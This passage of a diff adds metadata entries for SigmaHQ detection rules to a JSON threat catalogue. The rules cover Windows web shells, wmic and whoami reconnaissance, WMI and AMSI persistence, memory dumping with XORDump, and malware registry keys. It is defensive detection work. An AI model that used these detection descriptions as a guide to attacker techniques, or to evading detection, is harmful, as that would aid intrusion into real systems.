}, + "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", + "value": "Webshell Recon Detection Via CommandLine & Processes" + }, + { + "description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", + "meta": { + "author": "Thomas Patzke, Florian Roth, Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (update)", + "creation_date": "2019/01/16", + "falsepositive": [ + "Particular web applications may spawn a shell process legitimately" + ], + "filename": "proc_creation_win_webshell_spawn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1190" + ] + }, + "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600", + "value": "Shells Spawned by Web Servers" + }, + { + "description": "Detects usage of the wevtutil utility to perform reconnaissance", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Legitmate usage of the utility by administrators to query the event log" + ], + "filename": "proc_creation_win_wevtutil_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml" + ], + "tags": [ + "attack.discovery" + ] + }, + "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf", + "value": "Wevtutil Recon" + }, + { + "description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_whoami_as_priv_user.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://nsudo.m2team.org/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "79ce34ca-af29-4d0e-b832-fc1b377020db", + "value": "Run Whoami as Privileged User" + }, + { + "description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", + "meta": { + "author": "Teymur Kheirkhabarov, Florian Roth", + "creation_date": "2019/10/23", + "falsepositive": [ + "Possible name overlap with NT AUHTORITY substring to cover all languages" + ], + "filename": "proc_creation_win_whoami_as_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_system.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "80167ada-7a12-41ed-b8e9-aa47195c66a1", + "value": "Run Whoami as SYSTEM" + }, + { + "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/05", + "falsepositive": [ + "Administrative activity (rare lookups on current privileges)" + ], + "filename": "proc_creation_win_whoami_priv.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", + "value": "Run Whoami Showing Privileges" + }, + { + "description": "Detects Task Scheduler .job import arbitrary DACL write\\par", + "meta": { + "author": "Olaf Hartong", + "creation_date": "2019/05/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_win10_sched_task_0day.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SandboxEscaper/polarbearrepo/tree/master/bearlpe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win10_sched_task_0day.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1053.005", + "car.2013-08-001" + ] + }, + "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", + "value": "Windows 10 Scheduled Task SandboxEscaper 0-day" + }, + { + "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/25", + "falsepositive": [ + "Other legitimate \"Windows Terminal\" profiles" + ], + "filename": "proc_creation_win_windows_terminal_susp_children.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/windowsterminalprofile.html", + "https://twitter.com/nas_bench/status/1550836225652686848", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence" + ] + }, + "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48", + "value": "Suspicious WindowsTerminal Child Processes" + }, + { + "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", + "meta": { + "author": "Georg Lauenstein", + "creation_date": "2022/09/19", + "falsepositive": [ + "Other programs that use the same command line flags" + ], + "filename": "proc_creation_win_winpeas_tool.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/carlospolop/PEASS-ng", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winpeas_tool.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1082", + "attack.t1087", + "attack.t1046" + ] + }, + "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9", + "value": "Detect Execution of winPEAS" + }, + { + "description": "Detects the Installation of a Exchange Transport Agent", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2021/06/08", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "filename": "proc_creation_win_win_exchange_transportagent.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win_exchange_transportagent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ] + }, + "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f", + "value": "MSExchange Transport Agent Installation" + }, + { + "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model...etc.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_computersystem_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f", + "value": "Suspicious Get Local Groups Information with WMIC" + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_group_recon.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_group_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32", + "value": "Suspicious Get Local Groups Information with WMIC" + }, + { + "description": "Detects wmic known recon method to look for installed hotfixes, often used by pentest and attackers enum scripts", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_hotfix_enum.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45", + "value": "WMIC Hotfix Recon" + }, + { + "description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_reconnaissance.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "221b251a-357a-49a9-920a-271802777cc0", + "value": "Suspicious WMI Reconnaissance" + }, + { + "description": "An adversary might use WMI to execute commands on a remote system", + "meta": { + "author": "frack113", + "creation_date": "2022/03/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_remote_command.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "e42af9df-d90b-4306-b7fb-05c863847ebd", + "value": "WMI Remote Command Execution" + }, + { + "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_remote_service.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "09af397b-c5eb-4811-b2bb-08b3de464ebf", + "value": "WMI Reconnaissance List Remote Services" + }, + { + "description": "Uninstall an application with wmic", + "meta": { + "author": "frac113", + "creation_date": "2022/01/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_remove_application.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remove_application.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96", + "value": "WMI Uninstall An Application" + }, + { + "description": "Detects usage of wmic to start or stop a service", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_service.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da", + "value": "WMIC Service Start/Stop" + }, + { + "description": "Detects wmic known recon method to look for unquoted service paths, often used by pentest and attackers enum scripts", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmic_unquoted_service_search.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6", + "value": "WMIC Unquoted Services Path Lookup" + }, + { + "description": "Detects wmiprvse spawning processes", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmiprvse_spawning_process.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190810201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d", + "value": "Wmiprvse Spawning Process" + }, + { + "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cglyer/status/1182389676876980224", + "https://twitter.com/cglyer/status/1182391019633029120", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ] + }, + "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b", + "value": "WMI Backdoor Exchange Transport Agent" + }, + { + "description": "Detects WMI script event consumers", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2018/03/07", + "falsepositive": [ + "Legitimate event consumers", + "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" + ], + "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ] + }, + "uuid": "ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e", + "value": "WMI Persistence - Script Event Consumer" + }, + { + "description": "Detects WMI spawning a PowerShell process", + "meta": { + "author": "Markus Neis / @Karneades", + "creation_date": "2019/04/03", + "falsepositive": [ + "AppvClient", + "CCM" + ], + "filename": "proc_creation_win_wmi_spwns_powershell.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_spwns_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1059.001" + ] + }, + "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6", + "value": "WMI Spawning Windows PowerShell" + }, + { + "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", + "meta": { + "author": "Nik Seetharaman, frack113", + "creation_date": "2019/01/16", + "falsepositive": [ + "Legitimate MWC use (unlikely in modern enterprise environments)" + ], + "filename": "proc_creation_win_workflow_compiler.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1127", + "attack.t1218" + ] + }, + "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d", + "value": "Microsoft Workflow Compiler" + }, + { + "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/18", + "falsepositive": [ + "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" + ], + "filename": "proc_creation_win_wpbbin_persistence.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1542.001" + ] + }, + "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145", + "value": "UEFI Persistence Via Wpbbin - ProcessCreation" + }, + { + "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", + "meta": { + "author": "Sreeman", + "creation_date": "2021/06/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_write_protect_for_storage_disabled.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_write_protect_for_storage_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13", + "value": "Write Protect For Storage Disabled" + }, + { + "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/31", + "falsepositive": [ + "Rare legitimate inline scripting by some administrators" + ], + "filename": "proc_creation_win_wscript_shell_cli.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_shell_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "2c28c248-7f50-417a-9186-a85b223010ee", + "value": "Wscript Shell Run In CommandLine" + }, + { + "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/04", + "falsepositive": [ + "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" + ], + "filename": "proc_creation_win_wusa_susp_cab_extraction.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "59b39960-5f9d-4a49-9cef-1e4d2c1d0cb9", + "value": "Wusa Extracting Cab Files" + }, + { + "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://www.echotrail.io/insights/search/wusa.exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea", + "value": "Wusa Extracting Cab Files From Suspicious Paths" + }, + { + "description": "Detects suspicious use of XORDump process memory dumping utility", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/28", + "falsepositive": [ + "Another tool that uses the command line switches of XORdump" + ], + "filename": "proc_creation_win_xordump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/audibleblink/xordump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ] + }, + "uuid": "66e563f9-1cbd-4a22-a957-d8b7c0f44372", + "value": "XORDump Use" + }, + { + "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", + "Msxsl.exe is not installed by default, so unlikely.", + "Static format arguments - https://petri.com/command-line-wmi-part-3" + ], + "filename": "proc_creation_win_xsl_script_processing.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1220" + ] + }, + "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d", + "value": "XSL Script Processing" + }, + { + "description": "Raw disk access using illegitimate tools, possible defence evasion", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/10/22", + "falsepositive": [ + "Legitimate Administrator using tool for raw access or ongoing forensic investigation" + ], + "filename": "raw_access_thread_disk_access_using_illegitimate_tools.yml", + "level": "low", + "logsource.category": "raw_access_thread", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_disk_access_using_illegitimate_tools.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1006" + ] + }, + "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", + "value": "Raw Disk Access Using Illegitimate Tools" + }, + { + "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate security products adding their own AMSI providers" + ], + "filename": "registry_add_amsi_providers_persistence.yml", + "level": "high", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/amsi.html", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705", + "value": "Persistence Via New AMSI Providers" + }, + { + "description": "Detects creation of UserInitMprLogonScript persistence method", + "meta": { + "author": "Tom Ueltschi (@c_APT_ure)", + "creation_date": "2019/01/12", + "falsepositive": [ + "Exclude legitimate logon scripts" + ], + "filename": "registry_add_logon_scripts_userinitmprlogonscript_reg.yml", + "level": "high", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1037/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml" + ], + "tags": [ + "attack.t1037.001", + "attack.persistence", + "attack.lateral_movement" + ] + }, + "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb", + "value": "Logon Scripts Creation in UserInitMprLogonScript Registry" + }, + { + "description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", + "meta": { + "author": "Christopher Peacock", + "creation_date": "2021/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_add_mal_netwire.yml", + "level": "high", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", + "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f", + "value": "NetWire RAT Registry Key" + }, + { + "description": "Detects new registry key created by Ursnif malware.", + "meta": { + "author": "megan201296", + "creation_date": "2019/02/13", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_add_mal_ursnif.yml", + "level": "high", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112" + ] + }, + "uuid": "21f17060-b282-4249-ade0-589ea3591558", + "value": "Ursnif" + }, + { + "description": "Detects COM object hijacking via TreatAs subkey", + "meta": { + "author": "Kutepov Anton, oscd.community", + "creation_date": "2019/10/23", + "falsepositive": [ + "Maybe some system utilities in rare cases use linking keys for backward compatibility" + ], + "filename": "registry_add_persistence_key_linking.yml", + "level": "medium", + "logsource.category": "registry_add", + "logsource.product": "windows", + "refs": [ + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020", + "value": "Windows Registry Persistence COM Key Linking" + }, + { + "description": "Detects the of the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/24", + "falsepositive": [ + "Unlikely" + ], + "filename": 